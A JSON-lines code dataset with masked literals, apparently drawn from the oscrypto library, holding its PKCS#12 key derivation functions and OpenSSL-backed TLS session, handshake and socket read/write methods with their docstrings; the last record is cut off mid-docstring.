{"signature": "def pkcs12_kdf(hash_algorithm, password, salt, iterations, key_length, id_):", "body": "if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT>if not isinstance(salt, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt)<EOL>))<EOL><DEDENT>if not isinstance(iterations, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iterations)<EOL>))<EOL><DEDENT>if iterations < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(iterations)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if id_ not in set([<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(id_)<EOL>))<EOL><DEDENT>utf16_password = password.decode('<STR_LIT:utf-8>').encode('<STR_LIT>') + b'<STR_LIT>'<EOL>algo = getattr(hashlib, hash_algorithm)<EOL>u = {<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}[hash_algorithm]<EOL>if hash_algorithm in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>v = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>v = <NUM_LIT:64><EOL><DEDENT>d = chr_cls(id_) * v<EOL>s = b'<STR_LIT>'<EOL>if salt != b'<STR_LIT>':<EOL><INDENT>s_len = v * int(math.ceil(float(len(salt)) / v))<EOL>while len(s) < s_len:<EOL><INDENT>s += salt<EOL><DEDENT>s = s[<NUM_LIT:0>:s_len]<EOL><DEDENT>p = b'<STR_LIT>'<EOL>if utf16_password != b'<STR_LIT>':<EOL><INDENT>p_len = v * int(math.ceil(float(len(utf16_password)) / v))<EOL>while len(p) < p_len:<EOL><INDENT>p += utf16_password<EOL><DEDENT>p = p[<NUM_LIT:0>:p_len]<EOL><DEDENT>i = s + p<EOL>c = int(math.ceil(float(key_length) / u))<EOL>a = b'<STR_LIT:\\x00>' * (c * u)<EOL>for num in range(<NUM_LIT:1>, c + <NUM_LIT:1>):<EOL><INDENT>a2 = algo(d + i).digest()<EOL>for _ in range(<NUM_LIT:2>, iterations + <NUM_LIT:1>):<EOL><INDENT>a2 = algo(a2).digest()<EOL><DEDENT>if num < c:<EOL><INDENT>b = b'<STR_LIT>'<EOL>while len(b) < v:<EOL><INDENT>b += a2<EOL><DEDENT>b = int_from_bytes(b[<NUM_LIT:0>:v]) + <NUM_LIT:1><EOL>for num2 in range(<NUM_LIT:0>, len(i) // v):<EOL><INDENT>start = num2 * v<EOL>end = (num2 + <NUM_LIT:1>) * v<EOL>i_num2 = i[start:end]<EOL>i_num2 = int_to_bytes(int_from_bytes(i_num2) + b)<EOL>i_num2_l = len(i_num2)<EOL>if i_num2_l > v:<EOL><INDENT>i_num2 = i_num2[i_num2_l - v:]<EOL><DEDENT>i = i[<NUM_LIT:0>:start] + i_num2 + i[end:]<EOL><DEDENT><DEDENT>begin = (num - <NUM_LIT:1>) * u<EOL>to_copy = min(key_length, u)<EOL>a = a[<NUM_LIT:0>:begin] + a2[<NUM_LIT:0>:to_copy] + a[begin + to_copy:]<EOL><DEDENT>return a[<NUM_LIT:0>:key_length]<EOL>", "docstring": "KDF from RFC7292 appendix b.2 - https://tools.ietf.org/html/rfc7292#page-19\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"md5\", \"sha1\", \"sha224\",\n    \"sha256\", \"sha384\", \"sha512\"\n\n:param password:\n    A byte string of the password to use an input to the KDF\n\n:param salt:\n    A cryptographic random byte string\n\n:param iterations:\n    The numbers of iterations to use when deriving the key\n\n:param key_length:\n    The length of the desired key in bytes\n\n:param id_:\n    The ID of the usage - 1 for key, 2 for iv, 3 for mac\n\n:return:\n    The derived key as a byte string", "id": "f9527:m0"}
{"signature": "def fill_width(bytes_, width):", "body": "while len(bytes_) < width:<EOL><INDENT>bytes_ = b'<STR_LIT:\\x00>' + bytes_<EOL><DEDENT>return bytes_<EOL>", "docstring": "Ensure a byte string representing a positive integer is a specific width\n(in bytes)\n\n:param bytes_:\n    The integer byte string\n\n:param width:\n    The desired width as an integer\n\n:return:\n    A byte string of the width specified", "id": "f9528:m0"}
{"signature": "def pkcs12_kdf(hash_algorithm, password, salt, iterations, key_length, id_):", "body": "if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT>if not isinstance(salt, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(salt)<EOL>))<EOL><DEDENT>if not isinstance(iterations, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iterations)<EOL>))<EOL><DEDENT>if iterations < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(iterations)<EOL>))<EOL><DEDENT>if not isinstance(key_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key_length)<EOL>))<EOL><DEDENT>if key_length < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(key_length)<EOL>))<EOL><DEDENT>if hash_algorithm not in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if id_ not in set([<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(id_)<EOL>))<EOL><DEDENT>utf16_password = password.decode('<STR_LIT:utf-8>').encode('<STR_LIT>') + b'<STR_LIT>'<EOL>digest_type = {<EOL>'<STR_LIT>': libcrypto.EVP_md5,<EOL>'<STR_LIT>': libcrypto.EVP_sha1,<EOL>'<STR_LIT>': libcrypto.EVP_sha224,<EOL>'<STR_LIT>': libcrypto.EVP_sha256,<EOL>'<STR_LIT>': libcrypto.EVP_sha384,<EOL>'<STR_LIT>': libcrypto.EVP_sha512,<EOL>}[hash_algorithm]()<EOL>output_buffer = buffer_from_bytes(key_length)<EOL>result = libcrypto.PKCS12_key_gen_uni(<EOL>utf16_password,<EOL>len(utf16_password),<EOL>salt,<EOL>len(salt),<EOL>id_,<EOL>iterations,<EOL>key_length,<EOL>output_buffer,<EOL>digest_type<EOL>)<EOL>handle_openssl_error(result)<EOL>return bytes_from_buffer(output_buffer)<EOL>", "docstring": "KDF from RFC7292 appendix B.2 - https://tools.ietf.org/html/rfc7292#page-19\n\n:param hash_algorithm:\n    The string name of the hash algorithm to use: \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\", \"sha512\"\n\n:param password:\n    A byte string of the password to use an input to the KDF\n\n:param salt:\n    A cryptographic random byte string\n\n:param iterations:\n    The numbers of iterations to use when deriving the key\n\n:param key_length:\n    The length of the desired key in bytes\n\n:param id_:\n    The ID of the usage - 1 for key, 2 for iv, 3 for mac\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n\n:return:\n    The derived key as a byte string", "id": "f9531:m0"}
{"signature": "def __init__(self, protocol=None, manual_validation=False, extra_trust_roots=None):", "body": "if not isinstance(manual_validation, bool):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(manual_validation)<EOL>))<EOL><DEDENT>self._manual_validation = manual_validation<EOL>if protocol is None:<EOL><INDENT>protocol = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>if isinstance(protocol, str_cls):<EOL><INDENT>protocol = set([protocol])<EOL><DEDENT>elif not isinstance(protocol, set):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(protocol)<EOL>))<EOL><DEDENT>valid_protocols = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>unsupported_protocols = protocol - valid_protocols<EOL>if unsupported_protocols:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>repr(unsupported_protocols)<EOL>))<EOL><DEDENT>self._protocols = protocol<EOL>self._extra_trust_roots = []<EOL>if extra_trust_roots:<EOL><INDENT>for extra_trust_root in extra_trust_roots:<EOL><INDENT>if isinstance(extra_trust_root, Certificate):<EOL><INDENT>extra_trust_root = extra_trust_root.asn1<EOL><DEDENT>elif isinstance(extra_trust_root, byte_cls):<EOL><INDENT>extra_trust_root = parse_certificate(extra_trust_root)<EOL><DEDENT>elif isinstance(extra_trust_root, str_cls):<EOL><INDENT>with open(extra_trust_root, '<STR_LIT:rb>') as f:<EOL><INDENT>extra_trust_root = parse_certificate(f.read())<EOL><DEDENT><DEDENT>elif not isinstance(extra_trust_root, x509.Certificate):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(extra_trust_root)<EOL>))<EOL><DEDENT>self._extra_trust_roots.append(extra_trust_root)<EOL><DEDENT><DEDENT>ssl_ctx = None<EOL>try:<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>method = libssl.SSLv23_method()<EOL><DEDENT>else:<EOL><INDENT>method = libssl.TLS_method()<EOL><DEDENT>ssl_ctx = libssl.SSL_CTX_new(method)<EOL>if is_null(ssl_ctx):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>self._ssl_ctx = ssl_ctx<EOL>libssl.SSL_CTX_set_timeout(ssl_ctx, <NUM_LIT>)<EOL>libssl.SSL_CTX_ctrl(<EOL>ssl_ctx,<EOL>LibsslConst.SSL_CTRL_SET_SESS_CACHE_MODE,<EOL>LibsslConst.SSL_SESS_CACHE_CLIENT,<EOL>null()<EOL>)<EOL>if sys.platform in set(['<STR_LIT:win32>', '<STR_LIT>']):<EOL><INDENT>trust_list_path = _trust_list_path<EOL>if trust_list_path is None:<EOL><INDENT>trust_list_path = get_path()<EOL><DEDENT>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>path_encoding = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>path_encoding = '<STR_LIT:utf-8>'<EOL><DEDENT>result = libssl.SSL_CTX_load_verify_locations(<EOL>ssl_ctx,<EOL>trust_list_path.encode(path_encoding),<EOL>null()<EOL>)<EOL><DEDENT>else:<EOL><INDENT>result = libssl.SSL_CTX_set_default_verify_paths(ssl_ctx)<EOL><DEDENT>handle_openssl_error(result)<EOL>verify_mode = LibsslConst.SSL_VERIFY_NONE if manual_validation else LibsslConst.SSL_VERIFY_PEER<EOL>libssl.SSL_CTX_set_verify(ssl_ctx, verify_mode, null())<EOL>result = libssl.SSL_CTX_set_cipher_list(<EOL>ssl_ctx,<EOL>(<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>)<EOL>)<EOL>handle_openssl_error(result)<EOL>disabled_protocols = set(['<STR_LIT>'])<EOL>disabled_protocols |= (valid_protocols - self._protocols)<EOL>for disabled_protocol in disabled_protocols:<EOL><INDENT>libssl.SSL_CTX_ctrl(<EOL>ssl_ctx,<EOL>LibsslConst.SSL_CTRL_OPTIONS,<EOL>_PROTOCOL_MAP[disabled_protocol],<EOL>null()<EOL>)<EOL><DEDENT>if self._extra_trust_roots:<EOL><INDENT>x509_store = libssl.SSL_CTX_get_cert_store(ssl_ctx)<EOL>for cert in self._extra_trust_roots:<EOL><INDENT>oscrypto_cert = load_certificate(cert)<EOL>result = libssl.X509_STORE_add_cert(<EOL>x509_store,<EOL>oscrypto_cert.x509<EOL>)<EOL>handle_openssl_error(result)<EOL><DEDENT><DEDENT><DEDENT>except (Exception):<EOL><INDENT>if ssl_ctx:<EOL><INDENT>libssl.SSL_CTX_free(ssl_ctx)<EOL><DEDENT>self._ssl_ctx = None<EOL>raise<EOL><DEDENT>", "docstring": ":param protocol:\n    A unicode string or set of unicode strings representing allowable\n    protocols to negotiate with the server:\n\n     - \"TLSv1.2\"\n     - \"TLSv1.1\"\n     - \"TLSv1\"\n     - \"SSLv3\"\n\n    Default is: {\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"}\n\n:param manual_validation:\n    If certificate and certificate path validation should be skipped\n    and left to the developer to implement\n\n:param extra_trust_roots:\n    A list containing one or more certificates to be treated as trust\n    roots, in one of the following formats:\n     - A byte string of the DER encoded certificate\n     - A unicode string of the certificate filename\n     - An asn1crypto.x509.Certificate object\n     - An oscrypto.asymmetric.Certificate object\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9532:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def wrap(cls, socket, hostname, session=None):<DEDENT>", "body": "if not isinstance(socket, socket_.socket):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(socket)<EOL>))<EOL><DEDENT>if not isinstance(hostname, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(hostname)<EOL>))<EOL><DEDENT>if session is not None and not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>new_socket = cls(None, None, session=session)<EOL>new_socket._socket = socket<EOL>new_socket._hostname = hostname<EOL>new_socket._handshake()<EOL>return new_socket<EOL>", "docstring": "Takes an existing socket and adds TLS\n\n:param socket:\n    A socket.socket object to wrap with TLS\n\n:param hostname:\n    A unicode string of the hostname or IP the socket is connected to\n\n:param session:\n    An existing TLSSession object to allow for session reuse, specific\n    protocol or manual certificate validation\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9532:c1:m0"}
{"signature": "def __init__(self, address, port, timeout=<NUM_LIT:10>, session=None):", "body": "self._raw_bytes = b'<STR_LIT>'<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>if address is None and port is None:<EOL><INDENT>self._socket = None<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(address, str_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(address)<EOL>))<EOL><DEDENT>if not isinstance(port, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(port)<EOL>))<EOL><DEDENT>if timeout is not None and not isinstance(timeout, numbers.Number):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(timeout)<EOL>))<EOL><DEDENT>self._socket = socket_.create_connection((address, port), timeout)<EOL>self._socket.settimeout(timeout)<EOL><DEDENT>if session is None:<EOL><INDENT>session = TLSSession()<EOL><DEDENT>elif not isinstance(session, TLSSession):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(session)<EOL>))<EOL><DEDENT>self._session = session<EOL>if self._socket:<EOL><INDENT>self._hostname = address<EOL>self._handshake()<EOL><DEDENT>", "docstring": ":param address:\n    A unicode string of the domain name or IP address to conenct to\n\n:param port:\n    An integer of the port number to connect to\n\n:param timeout:\n    An integer timeout to use for the socket\n\n:param session:\n    An oscrypto.tls.TLSSession object to allow for session reuse and\n    controlling the protocols and validation performed", "id": "f9532:c1:m1"}
{"signature": "def _handshake(self):", "body": "self._ssl = None<EOL>self._rbio = None<EOL>self._wbio = None<EOL>try:<EOL><INDENT>self._ssl = libssl.SSL_new(self._session._ssl_ctx)<EOL>if is_null(self._ssl):<EOL><INDENT>self._ssl = None<EOL>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>mem_bio = libssl.BIO_s_mem()<EOL>self._rbio = libssl.BIO_new(mem_bio)<EOL>if is_null(self._rbio):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>self._wbio = libssl.BIO_new(mem_bio)<EOL>if is_null(self._wbio):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>libssl.SSL_set_bio(self._ssl, self._rbio, self._wbio)<EOL>utf8_domain = self._hostname.encode('<STR_LIT:utf-8>')<EOL>libssl.SSL_ctrl(<EOL>self._ssl,<EOL>LibsslConst.SSL_CTRL_SET_TLSEXT_HOSTNAME,<EOL>LibsslConst.TLSEXT_NAMETYPE_host_name,<EOL>utf8_domain<EOL>)<EOL>libssl.SSL_set_connect_state(self._ssl)<EOL>if self._session._ssl_session:<EOL><INDENT>libssl.SSL_set_session(self._ssl, self._session._ssl_session)<EOL><DEDENT>self._bio_write_buffer = buffer_from_bytes(self._buffer_size)<EOL>self._read_buffer = buffer_from_bytes(self._buffer_size)<EOL>handshake_server_bytes = b'<STR_LIT>'<EOL>handshake_client_bytes = b'<STR_LIT>'<EOL>while True:<EOL><INDENT>result = libssl.SSL_do_handshake(self._ssl)<EOL>handshake_client_bytes += self._raw_write()<EOL>if result == <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>error = libssl.SSL_get_error(self._ssl, result)<EOL>if error == LibsslConst.SSL_ERROR_WANT_READ:<EOL><INDENT>chunk = self._raw_read()<EOL>if chunk == b'<STR_LIT>':<EOL><INDENT>if handshake_server_bytes == b'<STR_LIT>':<EOL><INDENT>raise_disconnection()<EOL><DEDENT>if detect_client_auth_request(handshake_server_bytes):<EOL><INDENT>raise_client_auth()<EOL><DEDENT>raise_protocol_error(handshake_server_bytes)<EOL><DEDENT>handshake_server_bytes += chunk<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_WANT_WRITE:<EOL><INDENT>handshake_client_bytes += self._raw_write()<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_ZERO_RETURN:<EOL><INDENT>self._gracefully_closed = True<EOL>self._shutdown(False)<EOL>self._raise_closed()<EOL><DEDENT>else:<EOL><INDENT>info = peek_openssl_error()<EOL>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>dh_key_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL3_CHECK_CERT_AND_ALGORITHM,<EOL>LibsslConst.SSL_R_DH_KEY_TOO_SMALL<EOL>)<EOL><DEDENT>else:<EOL><INDENT>dh_key_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_TLS_PROCESS_SKE_DHE,<EOL>LibsslConst.SSL_R_DH_KEY_TOO_SMALL<EOL>)<EOL><DEDENT>if info == dh_key_info:<EOL><INDENT>raise_dh_params()<EOL><DEDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>unknown_protocol_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL23_GET_SERVER_HELLO,<EOL>LibsslConst.SSL_R_UNKNOWN_PROTOCOL<EOL>)<EOL><DEDENT>else:<EOL><INDENT>unknown_protocol_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL3_GET_RECORD,<EOL>LibsslConst.SSL_R_WRONG_VERSION_NUMBER<EOL>)<EOL><DEDENT>if info == unknown_protocol_info:<EOL><INDENT>raise_protocol_error(handshake_server_bytes)<EOL><DEDENT>tls_version_info_error = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL23_GET_SERVER_HELLO,<EOL>LibsslConst.SSL_R_TLSV1_ALERT_PROTOCOL_VERSION<EOL>)<EOL>if info == tls_version_info_error:<EOL><INDENT>raise_protocol_version()<EOL><DEDENT>handshake_error_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL23_GET_SERVER_HELLO,<EOL>LibsslConst.SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE<EOL>)<EOL>if info == handshake_error_info:<EOL><INDENT>raise_handshake()<EOL><DEDENT>handshake_failure_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL3_READ_BYTES,<EOL>LibsslConst.SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE<EOL>)<EOL>if info == handshake_failure_info:<EOL><INDENT>raise_client_auth()<EOL><DEDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>cert_verify_failed_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_SSL3_GET_SERVER_CERTIFICATE,<EOL>LibsslConst.SSL_R_CERTIFICATE_VERIFY_FAILED<EOL>)<EOL><DEDENT>else:<EOL><INDENT>cert_verify_failed_info = (<EOL><NUM_LIT:20>,<EOL>LibsslConst.SSL_F_TLS_PROCESS_SERVER_CERTIFICATE,<EOL>LibsslConst.SSL_R_CERTIFICATE_VERIFY_FAILED<EOL>)<EOL><DEDENT>if info == cert_verify_failed_info:<EOL><INDENT>verify_result = libssl.SSL_get_verify_result(self._ssl)<EOL>chain = extract_chain(handshake_server_bytes)<EOL>self_signed = False<EOL>time_invalid = False<EOL>no_issuer = False<EOL>cert = None<EOL>oscrypto_cert = None<EOL>if chain:<EOL><INDENT>cert = chain[<NUM_LIT:0>]<EOL>oscrypto_cert = load_certificate(cert)<EOL>self_signed = oscrypto_cert.self_signed<EOL>issuer_error_codes = set([<EOL>LibsslConst.X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT,<EOL>LibsslConst.X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN,<EOL>LibsslConst.X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY<EOL>])<EOL>if verify_result in issuer_error_codes:<EOL><INDENT>no_issuer = not self_signed<EOL><DEDENT>time_error_codes = set([<EOL>LibsslConst.X509_V_ERR_CERT_HAS_EXPIRED,<EOL>LibsslConst.X509_V_ERR_CERT_NOT_YET_VALID<EOL>])<EOL>time_invalid = verify_result in time_error_codes<EOL><DEDENT>if time_invalid:<EOL><INDENT>raise_expired_not_yet_valid(cert)<EOL><DEDENT>if no_issuer:<EOL><INDENT>raise_no_issuer(cert)<EOL><DEDENT>if self_signed:<EOL><INDENT>raise_self_signed(cert)<EOL><DEDENT>if oscrypto_cert and oscrypto_cert.asn1.hash_algo in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise_weak_signature(oscrypto_cert)<EOL><DEDENT>raise_verification(cert)<EOL><DEDENT>handle_openssl_error(<NUM_LIT:0>, TLSError)<EOL><DEDENT><DEDENT>session_info = parse_session_info(<EOL>handshake_server_bytes,<EOL>handshake_client_bytes<EOL>)<EOL>self._protocol = session_info['<STR_LIT>']<EOL>self._cipher_suite = session_info['<STR_LIT>']<EOL>self._compression = session_info['<STR_LIT>']<EOL>self._session_id = session_info['<STR_LIT>']<EOL>self._session_ticket = session_info['<STR_LIT>']<EOL>if self._cipher_suite.find('<STR_LIT>') != -<NUM_LIT:1>:<EOL><INDENT>dh_params_length = get_dh_params_length(handshake_server_bytes)<EOL>if dh_params_length < <NUM_LIT>:<EOL><INDENT>self.close()<EOL>raise_dh_params()<EOL><DEDENT><DEDENT>if self._session_id == '<STR_LIT>' or self._session_ticket == '<STR_LIT>':<EOL><INDENT>if self._session._ssl_session:<EOL><INDENT>libssl.SSL_SESSION_free(self._session._ssl_session)<EOL><DEDENT>self._session._ssl_session = libssl.SSL_get1_session(self._ssl)<EOL><DEDENT>if not self._session._manual_validation:<EOL><INDENT>if self.certificate.hash_algo in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise_weak_signature(self.certificate)<EOL><DEDENT>if not self.certificate.is_valid_domain_ip(self._hostname):<EOL><INDENT>raise_hostname(self.certificate, self._hostname)<EOL><DEDENT><DEDENT><DEDENT>except (OSError, socket_.error):<EOL><INDENT>if self._ssl:<EOL><INDENT>libssl.SSL_free(self._ssl)<EOL>self._ssl = None<EOL>self._rbio = None<EOL>self._wbio = None<EOL><DEDENT>else:<EOL><INDENT>if self._rbio:<EOL><INDENT>libssl.BIO_free(self._rbio)<EOL>self._rbio = None<EOL><DEDENT>if self._wbio:<EOL><INDENT>libssl.BIO_free(self._wbio)<EOL>self._wbio = None<EOL><DEDENT><DEDENT>self.close()<EOL>raise<EOL><DEDENT>", "docstring": "Perform an initial TLS handshake", "id": "f9532:c1:m2"}
{"signature": "def _raw_read(self):", "body": "data = self._raw_bytes<EOL>try:<EOL><INDENT>data += self._socket.recv(<NUM_LIT>)<EOL><DEDENT>except (socket_.error):<EOL><INDENT>pass<EOL><DEDENT>output = data<EOL>written = libssl.BIO_write(self._rbio, data, len(data))<EOL>self._raw_bytes = data[written:]<EOL>return output<EOL>", "docstring": "Reads data from the socket and writes it to the memory bio\nused by libssl to decrypt the data. Returns the unencrypted\ndata for the purpose of debugging handshakes.\n\n:return:\n    A byte string of ciphertext from the socket. Used for\n    debugging the handshake only.", "id": "f9532:c1:m3"}
{"signature": "def _raw_write(self):", "body": "data_available = libssl.BIO_ctrl_pending(self._wbio)<EOL>if data_available == <NUM_LIT:0>:<EOL><INDENT>return b'<STR_LIT>'<EOL><DEDENT>to_read = min(self._buffer_size, data_available)<EOL>read = libssl.BIO_read(self._wbio, self._bio_write_buffer, to_read)<EOL>to_write = bytes_from_buffer(self._bio_write_buffer, read)<EOL>output = to_write<EOL>while len(to_write):<EOL><INDENT>raise_disconnect = False<EOL>try:<EOL><INDENT>sent = self._socket.send(to_write)<EOL><DEDENT>except (socket_.error) as e:<EOL><INDENT>if e.errno == <NUM_LIT> or e.errno == <NUM_LIT:32>:<EOL><INDENT>raise_disconnect = True<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>if raise_disconnect:<EOL><INDENT>raise_disconnection()<EOL><DEDENT>to_write = to_write[sent:]<EOL>if len(to_write):<EOL><INDENT>self.select_write()<EOL><DEDENT><DEDENT>return output<EOL>", "docstring": "Takes ciphertext from the memory bio and writes it to the\nsocket.\n\n:return:\n    A byte string of ciphertext going to the socket. Used\n    for debugging the handshake only.", "id": "f9532:c1:m4"}
{"signature": "def read(self, max_length):", "body": "if not isinstance(max_length, int_types):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(max_length)<EOL>))<EOL><DEDENT>buffered_length = len(self._decrypted_bytes)<EOL>if buffered_length >= max_length:<EOL><INDENT>output = self._decrypted_bytes[<NUM_LIT:0>:max_length]<EOL>self._decrypted_bytes = self._decrypted_bytes[max_length:]<EOL>return output<EOL><DEDENT>if self._ssl is None:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>if buffered_length > <NUM_LIT:0> and not self.select_read(<NUM_LIT:0>):<EOL><INDENT>output = self._decrypted_bytes<EOL>self._decrypted_bytes = b'<STR_LIT>'<EOL>return output<EOL><DEDENT>to_read = min(self._buffer_size, max_length - buffered_length)<EOL>output = self._decrypted_bytes<EOL>again = True<EOL>while again:<EOL><INDENT>again = False<EOL>result = libssl.SSL_read(self._ssl, self._read_buffer, to_read)<EOL>self._raw_write()<EOL>if result <= <NUM_LIT:0>:<EOL><INDENT>error = libssl.SSL_get_error(self._ssl, result)<EOL>if error == LibsslConst.SSL_ERROR_WANT_READ:<EOL><INDENT>if self._raw_read() != b'<STR_LIT>':<EOL><INDENT>again = True<EOL>continue<EOL><DEDENT>raise_disconnection()<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_WANT_WRITE:<EOL><INDENT>self._raw_write()<EOL>again = True<EOL>continue<EOL><DEDENT>elif error == LibsslConst.SSL_ERROR_ZERO_RETURN:<EOL><INDENT>self._gracefully_closed = True<EOL>self._shutdown(False)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>, TLSError)<EOL><DEDENT><DEDENT>output += bytes_from_buffer(self._read_buffer, result)<EOL><DEDENT>if self._gracefully_closed and len(output) == <NUM_LIT:0>:<EOL><INDENT>self._raise_closed()<EOL><DEDENT>self._decrypted_bytes = output[max_length:]<EOL>return output[<NUM_LIT:0>:max_length]<EOL>", "docstring": "Reads data from the TLS-wrapped socket\n\n:param max_length:\n    The number of bytes to read - output may be less than this\n\n:raises:\n    socket.socket - when a non-TLS socket error occurs\n    oscrypto.errors.TLSError - when a 